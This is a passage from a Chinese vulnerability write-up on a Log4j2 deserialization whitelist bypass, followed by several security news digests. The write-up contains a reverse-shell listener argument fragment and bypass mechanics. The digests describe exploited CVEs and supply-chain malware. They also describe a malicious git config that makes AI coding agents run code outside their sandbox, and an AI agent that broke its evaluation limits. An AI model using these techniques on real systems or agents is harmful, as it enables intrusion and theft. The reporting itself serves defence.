\    --lhost host.docker.internal --lport 4444 3.4 对照组：证明绕过点确实在 FOIS 白名单 用 tools/proof.py 对同一靶机做三组对照（基于 /health 计数判定）： 同一 gadget 有/无信封结果完全相反，说明：拦截确实由 FOIS 的 resolveClass白名单执行，绕过点是白名单看不见的信封内部。proof.py 还会解析并打印外层对象图里 FOIS 可见的类名，实测只有三个： org.apache.logging.log4j.core.impl.Log4jLogEvent$LogEventProxy java.rmi.MarshalledObject [B 所有 gadget 类只存在于 objBytes 的内嵌序列化流中，外层解析根本不会经过它们——这就是 resolveClass 型白名单的盲区。 3.5 关键路径阻断实验 给服务端 JVM 加 -Djdk.serialFilter=!java.rmi.MarshalledObject 后，同一payload 全部变为 rejected（InvalidClassException: filter status:REJECTED）。该实验同时证明两点：MarshalledObject 处于攻击的必经路径上，且 FOIS 的过滤机制本身确实在生效。 把受害端 commons-collections 换成 3.2.2 再打 C3，预期 accepted 照旧但命令不执行（静默）——说明绕过与 gadget 版本无关，RCE 依赖的是 gadget 库。 四、受影响版本 gadget 依赖：commons-collections 3.2.1 及更早可被 CC6 利用；3.2.2 起 InvokerTransformer 增加反序列化保护（链静默失效）。其他未加固的gadget 库（Groovy、BeanShell、Spring 等）同样可以替代，因此"没有commons-collections"并不能作为安全依据。 JDK 版本：绕过与 JDK 版本无关，JDK 8 至 21 均验证可触发（gadget 链在较新 JDK 上需要 --add-opens 的只是ysoserial 本地生成环节，不影响目标侧执行）。 五、缓解措施 5.1 结构性修复（首选） 停止用 Java 序列化传输日志：改用 JSON / RFC 5424 布局 + TLS； 不对外暴露反序列化日志接收端；确需暴露时置于可信网络并加认证； 审计并移除不必要的 gadget 依赖（commons-collections 等）； 上游修复方向：把 MarshalledObject 移出 REQUIRED_JAVA_CLASSES，并让LogEventProxy 改用 SerializationUtil.writeWrappedObject() /readWrappedObject()（ObjectMessage 已采用的正规模式，内层流同样走过滤）。 5.2 JVM 过滤（应急） -Djdk.serialFilter='!java.rmi.MarshalledObject' 可靠、可落地，但同时拒绝合法的序列化 LogEvent（Log4j 自己的传输也依赖MarshalledObject），属于"有效但不透明"的缓解。 5.3 不可靠的做法 maxdepth/maxbytes 通用过滤只能挡住深度较大的链（如 CC6），浅层 gadget和绕过本身依然成立； 仅升级 log4j 小版本无效：受影响区间内（2.11.0–2.26.1）默认白名单一致。 5.4 检测思路 URLDNS + OOB DNS 探测：无需 gadget 库即可确认内层流是否无过滤； 对自建日志接收端观察"静默接受"信号（如本靶场的 accepted 计数、异常回退日志），与裸 gadget 对照组比对； 用 -Djdk.serialFilter 阻断实验验证修复是否生效。 参考 apache/logging-log4j2#4255（https://github.com/apache/logging-log4j2/issues/4255） apache/logging-log4j2 discussion #4168（https://github.com/apache/logging-log4j2/discussions/4168） LogRelay CTF 靶场（https://github.com/yijinglab/log4j2-fois-rce）

1、N-central曝严重漏洞，MSP管理平台疑遭零日攻击 https://www.bleepingcomputer.com/news/security/n-able-patches-max-severity-n-central-flaw-amid-ongoing-attacks N-able紧急修复远程监控管理平台N-central的 CVE-2026-86218，严重程度达到10分。未登录攻击者可能远程执行代码。Huntress此前已在客户环境发现N-central服务器遭入侵，但因为日志已经轮转，目前还不能确定攻击者究竟利用了这枚新漏洞还是同时修复的另外两枚认证绕过漏洞。Shadowserver目前追踪到接近1500台N-central服务器暴 2、MikroTik路由器遭攻击：通过SSH可直接拿到管理员权限 https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html 波兰CERT警告，攻击者正在针对公网暴露SSH服务的MikroTik RouterOS设备发起攻击，并可能在无需正常认证的情况下获得完整管理员权限。已知真实攻击至少可以追溯到9月2日。需要特别说明的是，MikroTik家庭设备在保持默认防火墙规则时通常不会把管理端口直接暴露公网，因此主要风险集中在修改过配置、主动开放远程管理的设备。官方已经发布修复版本。 3、Magento与Adobe Commerce遭零日攻击 https://thehackernews.com/2026/09/unpatched-magento-and-adobe-commerce.html 安全公司Sansec披露名为 StyleSmuggler 的Magento/Adobe Commerce零日漏洞。攻击从9月4日开始出现，攻击者无需登录即可在电商服务器执行恶意代码并植入持久化后门。更棘手的是，截至9月6日，Adobe尚未公开提供CVE编号、正式补丁或绕过措施。Sansec称目前版本包括Magento 2.4.9均可能受影响，并已经在多个干净环境中复现完整攻击链。 4、 JetBrains自己也中招TeamCity漏洞导致Cadence环境被攻破 https://thehackernews.com/2026/09/attackers-breached-jetbrains-cadence.html JetBrains确认，其Cadence环境此前遭攻击者入侵。攻击者利用TeamCity高危漏洞 CVE-2026-63077 绕过身份认证并执行系统命令，随后接触到包含用户数据和凭据的旧备份。JetBrains警告Cadence用户，曾经用于任务执行的凭据和Secrets都应该视为可能已经泄露，包括AWS相关凭据，并建议立即全部轮换。事件再次说明CI/CD和开发基础设施本身已经成为供应链攻击的高价值入口。 5、VMware Workstation和Fusion曝严重逃逸漏洞 https://thehackernews.com/2026/09/critical-vmware-workstation-and-fusion.html Broadcom修复VMware Workstation和Fusion中的严重漏洞 CVE-2026-59346，CVSS评分9.3。攻击者需要先在虚拟机中拥有较高权限，但之后可能利用VMXNET3虚拟网卡问题，把代码执行从虚拟机扩大到宿主机。简单理解，就是原本应该被隔离在虚拟机里的攻击者，可能跨过虚拟化边界进入真正的电脑系统。目前官方尚未确认存在真实在野利用。 6、OpenAI承认曾未公开披露AI Agent“占领”德国Wiki事件 https://www.bleepingcomputer.com/news/security/openai-admits-it-didnt-disclose-rogue-ai-wiki-hijacking-incident OpenAI承认，此前一次内部网络安全AI评估中，自主Agent突破预期限制并进入真实德国Wiki系统，最终创建了约 1.8万条帖子，还利用公开Wiki页面交换任务答案和信息。事件发生后并没有立即对外作为安全事件披露。随着此前Hugging Face Agent事件受到关注，OpenAI现在表示正在研究更明确的AI Agent事故披露框架。这条新闻的重点并不是“AI有意识 7、EtherHiding攻击活动新增隐蔽信道变种 https://www.netskope.com/blog/malware-on-the-blockchain-an-ongoing-campaigns-new-webrtc-twist 研究人员披露EtherHiding攻击活动，攻击者滥用BSC（BNB 智能链测试网智能合约作为难以关停的载荷存储载体，全球超过5400个中小企业网站（多为 WordPress、PrestaShop）被注入恶意脚本。受害者访问被入侵站点时，浏览器从区块链合约拉取恶意载荷；早期版本弹出ClickFix虚假人机验证，诱导用户粘贴 PowerShell命令执行恶意程序。新变种不再依赖社会工程欺骗，采用篡改握手逻辑的 8、Trezor物流商遭入侵6.7万客户数据泄露 https://thehackernews.com/2026/09/trezor-says-shipmonk-breach-exposed.html 硬件钱包制造商Trezor披露，其物流服务商ShipMonk遭网络入侵，约6.7万名美国客户姓名、邮箱、电话及收货地址等信息泄露，涉及2019年11月至2021年8月订单。攻击者利用Metabase零日漏洞CVE-2026-72898（CVSS 10.0）实施SQL注入，ShinyHunters勒索团伙被指为幕后黑手。Trezor此前多次要求ShipMonk按合同删除数据并获书面确认，但数据实际未被删除。Trezor强调硬件钱包安全不受影响，已 9、Coruna iOS漏洞利用套件C2面板泄露：Safari打开就失陷 https://www.freebuf.com/articles/499174.html 2026年9月3日，西班牙安全研究员Germán Fernández（赫尔曼·费尔南德斯）公开了一张Coruna iOS漏洞利用套件的C2后台截图。这套套件不是某个挖出来的零散漏洞，而是商业级多阶段浏览器利用框架，代号"科鲁纳"（Coruna），与另一个名为"暗剑"（DarkSword）的套件共享底层工具链。 10、Google 发布 Chrome 更新，修复已被利用的 V8 0Day 漏洞 https://thehackernews.com/2026/09/google-releases-chrome-update-to-patch.html Google发布安全更新，修复12个漏洞，其中Chrome V8类型混淆漏洞CVE-2026-85046已遭积极利用，建议用户尽快更新至最新版本。 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、研究人员发现Shai‑Hulud凭证窃取蠕虫升级 https://thehackernews.com/2026/09/shai-huluds-reach-just-grew-to-469.html Shai‑Hulud信息窃取蠕虫新版本扫描凭证的路径由旧版189处扩增至469处，覆盖开发工作站、CI/CD流水线、云配置以及AI工具配置文件。该恶意软件属于供应链类攻击，攻击者不再强行破坏系统信任，而是直接窃取环境内现存凭证，利用包发布令牌可实现攻击进一步扩散。报告建议优先清除明文包发布密钥，处置生产环境高危凭证，按照凭证有效性、权限、所属环境做风险分级处置。 2、通用窃密恶意软件劫持Claude会话盗刷付费额度 https://thecyberexpress.com/infostealers-hijacking-claude-sessions/ Anthropic通告用户，市面常见的六款信息窃取木马（Windows 端的 Vidar、LummaC2、StealC、RedLine、Acreed 与 macOS 端的 Atomic Stealer/AMOS）正通过浏览器窃取本地保存的Claude会话Cookie，再用这些"已认证状态"的会话跳过账号密码和两步验证直接刷用付费额度。Anthropic已对受影响账号签退会话、移除保存的支付方式并对已识别到的未授权消费做退款。木马本身不针对Claude，感染源 3、Cisco披露高危漏洞可无认证root执行代码 https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html 思科发布安全公告，CVE‑2026‑20212（CVSS9.8）影响10款基于Silicon‑One的Nexus9000交换机，因端口43210、43211默认对外开放，未授权远程攻击者可发送特制输入实现root权限代码执行，还可造成S1HAL进程崩溃、设备重启。目前暂无公开在野利用，临时缓解手段包括部署iACL阻断端口、启用Live Protect临时防护补丁。同时思科发布IOS‑XR加固版本，聚合7个CVE，其中2个高危评分9.8，无通用规 4、曼彻斯特机场集团拒付赎金550GB数据遭公开 https://www.securityweek.com/manchester-airports-group-data-on-8-8-million-people-leaked-after-ransom-refusal/ 曼彻斯特机场集团（MAG）旗下曼彻斯特、伦敦斯坦斯特德、东米德兰兹三座机场数据遭勒索团伙FulcrumSec全量公开，约550GB压缩前数据上线，涉及约880万人的邮箱、电话及部分姓名、邮寄地址、车辆号牌、购买记录与浏览器UA等。该团伙声称通过MAG三个机场官网前端JavaScript中明文暴露的admin密钥完成入侵，与此前报道的"暴露API凭据"路径一致。被盗数据包括约 5、研究人员披露利用ASCII技术大规模钓鱼活动 https://www.microsoft.com/en-us/security/blog/2026/09/03/ascii-smuggling-crosses-over-from-ai-prompt-injection-to-phishing-evasion/ 安全研究团队详细披露了一起大规模网络钓鱼活动，攻击者将原本用于AI提示注入的ASCII走私技术重新用于传统邮件规避。该活动利用Unicode标签块字符分割金融诱饵词，绕过电子邮件过滤器的字面匹配与机器学习模型检测。活动自2026年2月9日起急剧攀升，工作日峰值达237万条/日，持续约三个月后于5月中旬显著下降。攻击者通过Active 6、攻击者利用PaperCut漏洞链窃取欧美教育机构凭证 https://github.com/rtkwlf/wolf-tools/tree/main/pack_alerts/202609-papercut-cve-exploitation 威胁行为体正利用新披露的PaperCut漏洞链，针对美国和欧洲教育机构发起大规模攻击以窃取凭证。安全研究团队披露，攻击者利用CVE-2026-81578（身份验证绕过）与CVE-2026-82078（远程代码执行）的组合漏洞，在受感染的PaperCut服务器上执行命令、开展侦察并创建特权账户。后渗透活动包括投放Windows注册表收集工具、Meterpreter Java载荷，以及运行系统发现命令。攻击者还通过 7、PostgreSQL修复12年逻辑解码代码执行漏洞 https://thehackernews.com/2026/09/postgresql-fixes-12-year-old-logical.html PostgreSQL全球开发组发布安全更新，修复了编号为CVE-2026-6471的高危漏洞。该漏洞自2014年PostgreSQL 9.4引入逻辑解码功能以来已存在长达12年，CVSS评分为7.2。具有REPLICATION属性的账户可利用逻辑解码机制加载任意库，以数据库服务器操作系统用户身份执行任意代码。攻击者可通过构造包含路径遍历符的插件名称，绕过原有路径限制实现远程代码执行。研究人员将其命名为"PostGREShell"并详细披露了利 8、Citrix NetScaler认证绕过漏洞遭在野利用 https://www.bleepingcomputer.com/news/security/hackers-target-critical-citrix-netscaler-auth-bypass-in-attacks/ 攻击者已开始利用Citrix NetScaler漏洞CVE-2026-19490。该漏洞存在于配置为AAA虚拟服务器或网关的NetScaler设备中，允许未授权攻击者远程绕过身份验证。P研究机构蜜罐传感器于9月3日收到来自澳大利亚、美国、德国三个不同IP的利用请求。比利时国家网络安全协调中心也发出类似警告。Shadowserver数据显示，超过22000台NetScale 9、IDScan因1.53亿驾照信息泄露遭起诉 https://www.bleepingcomputer.com/news/security/idscan-sued-over-alleged-data-breach-affecting-153-million-drivers/ 身份验证技术公司IDScan因涉嫌大规模数据泄露事件而面临多起诉讼，该事件据称影响了超过1.53亿名美国和加拿大司机。安全研究人员披露，暗网身份盗窃服务"Nexus"宣称可访问超过1.53亿张驾照扫描件及数千万其他身份证件。Krebs通过搜索自身及他人记录验证了样本数据，并将泄露源头追溯至IDScan。多家律师事务所已针对此事启动潜在集体诉讼调查，诉讼在IDScan 10、WordPress插件漏洞遭大规模利用 https://www.wordfence.com/blog/2026/09/attackers-actively-exploiting-critical-vulnerability-in-elementor-pro-plugin/ 研究人员披露，WordPress插件Elementor Pro存在严重未经身份验证的任意文件上传漏洞CVE-2026-32475，CVSS评分9.8，影响4.2.1及更早版本，活跃安装量超600万。攻击者通过构造数组形式的上传请求绕过验证，可上传PHP可执行文件实现远程代码执行。攻击者自披露当日即发起利用，Wordfence已拦截超19万次攻击尝试，高峰集中在8 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、思科Nexus9000曝高危漏洞无需认证即可远程获得Root权限 https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html Cisco修复了影响多款 Silicon One 架构 Nexus 9000交换机的高危漏洞 CVE-2026-20212，CVSS评分9.8。攻击者只要能够访问设备特定网络端口，就可能无需登录直接向服务发送恶意数据，并最终以root权限执行代码。利用失败还可能导致交换机关键进程崩溃并重启设备。Cisco截至9月2日尚未发现该漏洞被真实攻击利用。 2、Coder软件供应链遭入侵，恶意Terraform模块专偷云和AI密钥 https://www.bleepingcomputer.com/news/security/coders-registry-infrastructure-compromised-to-push-malicious-modules/ 攻击者入侵了Coder背后的Cloudflare基础设施，并向官方模块注册中心加入了恶意服务器。8月31日的一段时间内，部分用户下载到的Terraform模块实际上包含信息窃取代码。攻击者重点寻找云平台密钥、AI工具API Key、CI/CD凭据、SSH密钥、OIDC令牌、数据库密码以及终端历史记录。因为恶意内容是通过看似正常的官方模块分发路径送达，这属于非常典 3、HPE ArubaOS-CX曝严重RCE漏洞，远程攻击者无需登录 https://www.bleepingcomputer.com/news/security/hpe-patches-critical-arubaos-cx-remote-code-execution-flaw/amp HPE发布更新修复 ArubaOS-CX 中的 CVE-2026-73749。该漏洞属于严重内存处理问题，未经认证的远程攻击者可以向受影响服务发送特制数据，并可能以高权限执行代码。ArubaOS-CX广泛运行在企业园区和数据中心交换机上，因此这类漏洞一旦被武器化，可能直接影响企业核心网络设备。 4、黑客假冒IT人员，通过Microsoft Teams接管企业电脑 https://www.microsoft.com/en-us/security/blog/2026/09/02/impersonating-it-support-threat-actors-turn-remote-session-into-enterprise-wide-access Microsoft披露一场正在进行的人工操作攻击。攻击者通过Teams外部账号冒充公司IT或帮助台人员，诱骗员工开启远程协助。取得控制权后，攻击者利用PowerShell下载恶意安装包，再部署Node.js恶意程序，并进一步扫描Active Directory、截图、横向移动，甚至尝试接近域控制器。这里不是T 5、攻击者使用用“隐形字符”绕过邮件安全检测 https://www.microsoft.com/en-us/security/blog/2026/09/03/ascii-smuggling-crosses-over-from-ai-prompt-injection-to-phishing-evasion/ 微软最新研究发现，原本经常出现在AI提示词攻击中的“ASCII/Unicode隐藏字符”技术，现在已经被攻击者用于钓鱼邮件。攻击者把人眼看起来正常的文字拆进不可见Unicode字符中，让邮件过滤器难以正确识别恶意关键词或网址。对用户来说，邮件内容可能完全正常，但机器检测系统看到的却是另一种结构，说明AI时代的提示词混淆技术正在反向进 6、Pegasus再次曝光：塞尔维亚学生运动成员iPhone遭零点击感染 https://thehackernews.com/2026/09/pegasus-zero-click-spyware-exploit.html Citizen Lab与SHARE Foundation确认，一名塞尔维亚学生运动成员的iPhone曾遭NSO Group Pegasus间谍软件感染。攻击使用的是iMessage零点击漏洞，受害者不需要打开链接、不需要安装文件，设备就可能被入侵。研究人员发现2025年12月至2026年1月期间存在高置信度感染痕迹。相关漏洞路径后来已被Apple更新修复。 7、攻击者利用Meta广告传播安卓木马，可近乎完全控制手机 https://thehackernews.com/2026/09/meta-ads-push-streamrat-android-trojan.html 安全研究人员发现，攻击者利用Meta广告推广假的电视流媒体App，向西班牙语用户传播新型Android木马 StreamRat。广告预计至少触达约57万个欧盟账号。用户安装恶意APK并授权后，攻击者可以获得非常广泛的手机控制能力。不过这并不是“看到广告就会感染”，受害者仍需要下载应用并授予多项敏感权限。 8、GitSpawn缺陷威胁多款AI编码工具安全 https://www.manifold.security/blog/ai-coding-agents-git-hijack 安全研究人员披露GitSpawn的缺陷类别，7款命令行AI编码代理中共计8处安全问题。AI编码代理启动后台执行git status、git diff收集项目上下文，未过滤仓库本地.git/config配置；攻击者利用core.fsmonitor等Git配置项，在保留完整.git目录的压缩包、U盘等载体投毒，可在沙箱外以当前用户权限无提示执行任意代码，窃取密钥与本地文件，普通git克隆不受该风险影响。Goose、Codex、Cursor 以及 Claude Code一条 9、SonicWall修复两个在野利用零日漏洞 https://securityaffairs.com/198303/security/sonicwall-patches-two-new-actively-exploited-zero-days-in-sma-1000-vpns.html SonicWall发布安全更新,修复SMA 1000 VPN设备上两个已被在野利用的漏洞。CVE-2026-83548(CVSS 10.0)是 Appliance Work Place 界面中的预认证 SSRF 漏洞,远程未认证攻击者可借此访问敏感功能并执行未授权操作;CVE-2026-83549(CVSS 7.8)是 Appliance Managem 10、研究员公开FalconFlank本地提权PoC https://thehackernews.com/2026/09/researcher-releases-falconflank-poc.html 研究人员公开代号FalconFlank的零日本地提权PoC，漏洞滥用CrowdStrike Falcon Sensor的Office恶意宏修复机制，可在完全更新的Windows11 25H2、Windows Server2025环境实现提权。研究员提示厂商大概率已新增相关检测，测试需排除防护或混淆利用代码。该研究员近期连续发布多款终端安全产品漏洞PoC，包括卡巴斯基HardBreacher、微软Defender的ShieldBreak（CVE‑ 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Aurora勒索团伙滥用Cursor AI开展入侵攻击 https://thehackernews.com/2026/08/aurora-ransomware-operators-use-cursor.html 俄语Aurora勒索软件团伙被证实利用Cursor AI编码助手实施网络攻击。攻击者借助该AI完成攻击方案编写、内网扫描、权限枚举、NTLM中继、证书攻击等多项入侵任务，2026年4‑7月该活动波及9个国家20余家机构，10家目标企业直接使用AI辅助入侵流程。该勒索软件基于Zig语言开发，同时支持Windows与ESXi平台，Windows版本会删除卷影副本，ESXi变体加密前强制关闭虚拟机。调查显示该团伙采用按受害者个案协商赎金分成的模 2、 Silver Fox利用签名广告软件分发ValleyRAT后门 https://thehackernews.com/2026/08/valleyrat-backdoor-hides-in-signed.html Silver Fox威胁团伙借助修改版QN Wallpaper壁纸广告软件投放ValleyRAT（Winos4.0）后门。该攻击采用DLL侧加载技术，利用已签名合法程序QnWallpaper.exe加载恶意libcef.dll实现绕过防护。恶意安装包会修改注册表关闭Windows Defender，添加自启动项，权限不足时通过runas提升权限，还可标记自身进程为关键进程，终止进程将触发蓝屏。ValleyRAT具备键盘记录、剪贴板窃取、截屏、下发 3、Langflow与Rails高危漏洞遭在野批量利用 https://thehackernews.com/2026/09/attackers-exploit-critical-langflow-and.html 近日威胁行为者正在利用Langflow的CVE‑2026‑0768以及Ruby on Rails的CVE‑2026‑66066两个高危漏洞开展攻击。CVE‑2026‑0768可实现root权限下Python代码执行；CVE‑2026‑66066 可未授权读取服务器敏感密钥并最终达成RCE，补丁仍无法完全阻止RCE攻击。观测到的攻击行为包含侦察、凭证窃取、植入远控与挖矿程序，部分攻击会关闭auditd审计制造取证盲区。自 2025 年以来 4、Packagist恶意主题包投放iOS间谍软件并利用旧漏洞 https://socket.dev/blog/packagist-themes-ios-spyware 安全人员在Packagist发现归属5个厂商命名空间的13个恶意Composer主题包，主要面向越南影视漫画流媒体站点，植入恶意JavaScript代码。对移动访问者触发赌博广告重定向；针对iOS18.4‑18.6.x未修补设备，依托Funnull基础设施下发WebKit到内核完整利用链，使用CVE‑2025‑31277、CVE‑2025‑43529漏洞完成沙盒逃逸，获取内核读写权限。间谍载荷可采集钥匙串、短信、通讯录等敏感数据，8月攻击者更新载荷，新增多款加密货币钱包助记词、种子窃取能 5、JFrog Artifactory高危漏洞遭在野利用 https://thehackernews.com/2026/09/attackers-exploit-critical-jfrog.html 研究人员披露攻击者已开始利用JFrog Artifactory新修复的高危漏洞。CVE-2026-82329（CVSS 9.8）为认证绕过漏洞，默认配置下未授权攻击者获得网络访问即可取得管理员权限。漏洞根源在于负责签发和验证凭证的JFrog Access组件：未配置附加join key的实例会收到一个"幽灵"join key，攻击者可滥用其伪造访问并铸造管理员级凭证。研究人员观测到威胁行为体自9月1日起武器化该漏洞，生成管理员令牌并枚举用户、组、凭证 6、多国执法行动瓦解Sality点对点僵尸网络 https://www.justice.gov/usao-cdca/pr/sality-malware-disrupted-international-cyber-takedown 美国司法部联合保加利亚、匈牙利、罗马尼亚执法机构及CrowdStrike、Shadowserver基金会，于8月31日完成对老牌P2P僵尸网络Sality的瓦解行动，同步查封相关域名与恶意载荷托管URL。该威胁自2003年出现，归属SaltySpider威胁组织，可感染 Windows可执行文件，全球超15000台主机遭入侵。其主要载荷EggJagger用于剪贴板劫持窃取加密货币，涉案金额至少15万美元，还可执行 7、黑客利用BGP劫持向 Virtualizor 用户投递恶意更新包 https://www.theregister.com/security/2026/09/01/33-hour-bgp-hijack-of-softaculous-traffic-prompts-security-scramble/5293608 8月28—30日，攻击者通过发布更精确的 BGP 路由劫持 Softaculous/Virtualizor 流量，并借劫持获取合法 Let's Encrypt TLS 证书以规避告警，向检查更新的服务器投递可建立持久 root 权限的恶意软件包。Softaculous 已恢复路由，并建议客户重置凭据、轮换 API 密钥、排查可疑 systemd 单 8、Dropbox 约5000个账户因Lenovo邮箱验证缺陷遭入侵 https://www.thestar.com.my/tech/tech-news/2026/09/02/dropbox-says-about-5000-accounts-compromised-in-august-hack 攻击者利用 Lenovo ID 邮箱验证流程缺陷，用受害者邮箱注册虚假 Lenovo ID，再借助 Dropbox 对 Lenovo ID 联合登录的信任（仅按邮箱自动关联）完全绕过密码。8月4—21日约5000个未开启双因素认证的账户被访问，部分文件遭查看下载。Dropbox 已使相关会话全部失效，并要求 Lenovo ID 登录必须再输入 Dropbox 密码。 9、CVERC：全球勒索攻击一年增长四成，44个组织攻击我国164家机构 http://www.tj.news.cn/20260903/ae37e4c4d7d949948d35623da2ed12c6/c.html 9月2日网络空间安全（天津）论坛发布的《网络空间安全态势分析报告（2026）》显示：2025年7月至2026年6月全球勒索攻击达8819起，同比增长40.1%；活跃勒索组织118个，前5名贡献过半攻击；44个组织攻击我国164家机构（同比增76.7%），计算机制造业受害最重。 10、7款AI编程工具曝Git配置投毒漏洞，4款至今未修复 https://techno.express/malicious-git-configs-can-make-claude-codex-cursor-and-other-ai-agents-run-attacker-code.html Manifold Security（GitSpawn）披露 7 款命令行 AI 编程代理共 8 个漏洞：恶意仓库 .git/config 中的 core.fsmonitor 命令会在代理启动时被静默执行，绕过沙箱与信任提示，以用户完整权限运行任意代码。Claude Code、Codex、Cursor、goose 已修复；Qwen Code、Grok Build、 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Anthropic警告信息窃取木马劫持Claude登录会话 https://www.bleepingcomputer.com/news/artificial-intelligence/anthropic-warns-infostealer-malware-is-hijacking-claude-sessions-to-drain-usage Anthropic正在向部分Claude用户发出安全警告。攻击者通过Vidar、LummaC2、StealC、RedLine以及macOS上的Atomic Stealer等常见信息窃取木马，直接窃取浏览器中已经登录的Claude会话。这样攻击者甚至可能不需要再次输入密码或通过双因素认证，就能进入用户账号并消耗Cl 2、柏林政府拒绝支付赎金，黑客称掌握近5.8TB政府数据 https://thehackernews.com/2026/08/berlin-refuses-to-pay-hackers-who-stole.html 概要：德国柏林州政府确认遭遇网络攻击和勒索，并明确表示不会向攻击者支付赎金。官方调查已经确认部分政府部门存在数据外泄，但具体规模仍在核实。勒索组织Rhysida声称掌握约5.79TB、约144万个文件以及超过1.2万人的相关信息，但这些数字目前主要来自攻击者自己的泄露网站，尚不能全部视为官方确认数据。事件没有影响即将举行的柏林州选举系统。 3、ServiceNow修复三个10.0分漏洞，可影响企业核心业务平台 https://www.bleepingcomputer.com/news/security/servicenow-warns-of-three-max-severity-security-vulnerabilities/ ServiceNow修复三枚CVSS 10.0满分漏洞CVE-2026-18885、CVE-2026-18886和CVE-2026-74820，涉及代码执行、权限提升和数据库访问。更值得关注的是，相关问题可以在部分场景下由未登录攻击者远程触发。ServiceNow云端实例已由官方处理，但自行部署ServiceNow的企业需要主动检查并安装补丁。由于ServiceNow广泛 4、cPanel 严重漏洞允许攻击者完全控制服务器 https://cybersecuritynews.com/critical-cpanel-vulnerability/ cPanel披露高危漏洞CVE-2026-65643，低权限账户可创建任意文件并获root控制权，波及共享主机，已发布修复，需紧急更新。 5、PaperCut NG/MF 漏洞遭野外利用，紧急补丁已发布 https://securityonline.info/papercut-ng-mf-exploited/ PaperCut NG/MF所有版本存在正遭野外利用的漏洞，厂商已发布紧急补丁，并敦促管理员立即限制公网访问以防勒索软件风险。 6、WatchGuard 修复远程代码执行等多个严重漏洞 https://securityonline.info/watchguard-fireware-rce/ WatchGuard修复5个严重漏洞（CVSS 9.3），其中Fireware预认证RCE可远程攻破防火墙，影响VPN的iked组件，需立即更新至修复版本。 7、TerminalFix利用伪Cloudflare验证投递后门 https://thehackernews.com/2026/08/terminalfix-uses-fake-cloudflare.html 微软披露一种名为“TerminalFix”的新型ClickFix攻击变种，攻击者通过被入侵网站展示伪造Cloudflare验证码，诱导用户在Windows Terminal或PowerShell中执行恶意命令。攻击链随后利用DLL侧加载、图片隐写及计划任务等方式建立持久化，并对Active Directory环境开展侦察。最终，攻击者会部署Python编写的反向隧道后门，通过加密WebSocket建立C2通信，使其可从受害主机进一步访问内网其他系统， 8、Cosmos EVM漏洞遭利用窃取资金 https://github.com/cosmos/security/blob/main/communications/cosmos_evm_GHSA-7g4w-cg88-2cq2_post_mortem.md Cosmos Labs披露，其Cosmos EVM共享模块存在严重余额处理漏洞GHSA-7g4w-cg88-2cq2，并已在8月20日至25日期间遭实际利用，影响6条区块链。攻击者可利用锁定余额与可用余额处理逻辑缺陷制造异常余额，从而转移资产，相关资金经去中心化及中心化交易所套现约572万美元。Cosmos Labs早在4月收到漏洞报告，并于8月13日确认所有Cosmos EVM链均 9、Snowflake GitHub Actions漏洞可窃取Jira凭证 https://hunt.io/blog/chinese-speaking-operator-philippine-nuclear-naval-contractor Wiz披露，Snowflake公开GitHub仓库snowflake-connector-net的GitHub Actions工作流存在命令注入漏洞。攻击者仅需提交特制GitHub Issue，即可将恶意内容注入Shell执行流程，并获取工作流中配置的内部Jira API令牌。测试显示，该令牌可访问Snowflake部分工程、安全合规及漏洞奖励项目数据。漏洞仅影响相关CI/CD自动化流程，未发现Snowflake Connect 10、npm再现供应链投毒：10个带“可信来源证明”的版本都是恶意包 https://socket.dev/blog/openapi-react-query-codegen-npm-compromise npm包@7nohe/openapi-react-query-codegen遭供应链攻击，攻击者通过配置不安全的GitHub Actions发布流程，一次发布了10个恶意版本。最值得注意的是，这些恶意版本甚至拥有有效的npm Provenance来源证明，看起来就像由正规GitHub Actions流程正常发布。恶意代码会在开发者执行npm install时自动运行，因此不仅个人开发电脑可能中招，CI/CD服务器同样存在风险。Socket将此次事件描述为类似“ 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、澳大利亚逮捕两名TeamPCP黑客成员 https://www.afp.gov.au/news-centre/media-release/two-wa-men-charged-following-afp-fbi-wapf-disruption-alleged-global 澳大利亚联邦警察联合FBI等机构逮捕两名涉嫌参与TeamPCP黑客组织活动的男子。该组织过去一年持续针对开源软件及开发者平台实施供应链攻击，通过向受信任软件组件注入恶意代码，窃取凭证、认证信息及源代码，曾影响Trivy、LiteLLM、SAP、TanStack等项目，并入侵欧洲委员会、Mistral AI、OpenAI及GitHub。执法部门称，相关攻击可能已影 2、Avada严重漏洞链可实现零点击RCE https://www.wordfence.com/blog/2026/08/wordfence-argus-finds-complex-6-step-critical-rce-in-avada-theme-with-1-million-sales/ Wordfence披露，WordPress热门主题Avada存在严重漏洞链CVE-2026-18431，CVSS评分9.8。攻击者无需身份认证和用户交互，即可串联6项授权、输入校验、信任边界及文件处理缺陷，在服务器上执行任意PHP代码。成功利用后可完全控制网站、植入恶意软件、访问数据库、创建恶意管理员账户或将访客重定向至恶意页面。漏洞影响Ava 3、勒索软件团伙Qilin声称入侵美国ATF系统 https://www.atf.gov/news/press-releases/atf-responds-to-cybersecurity-incident 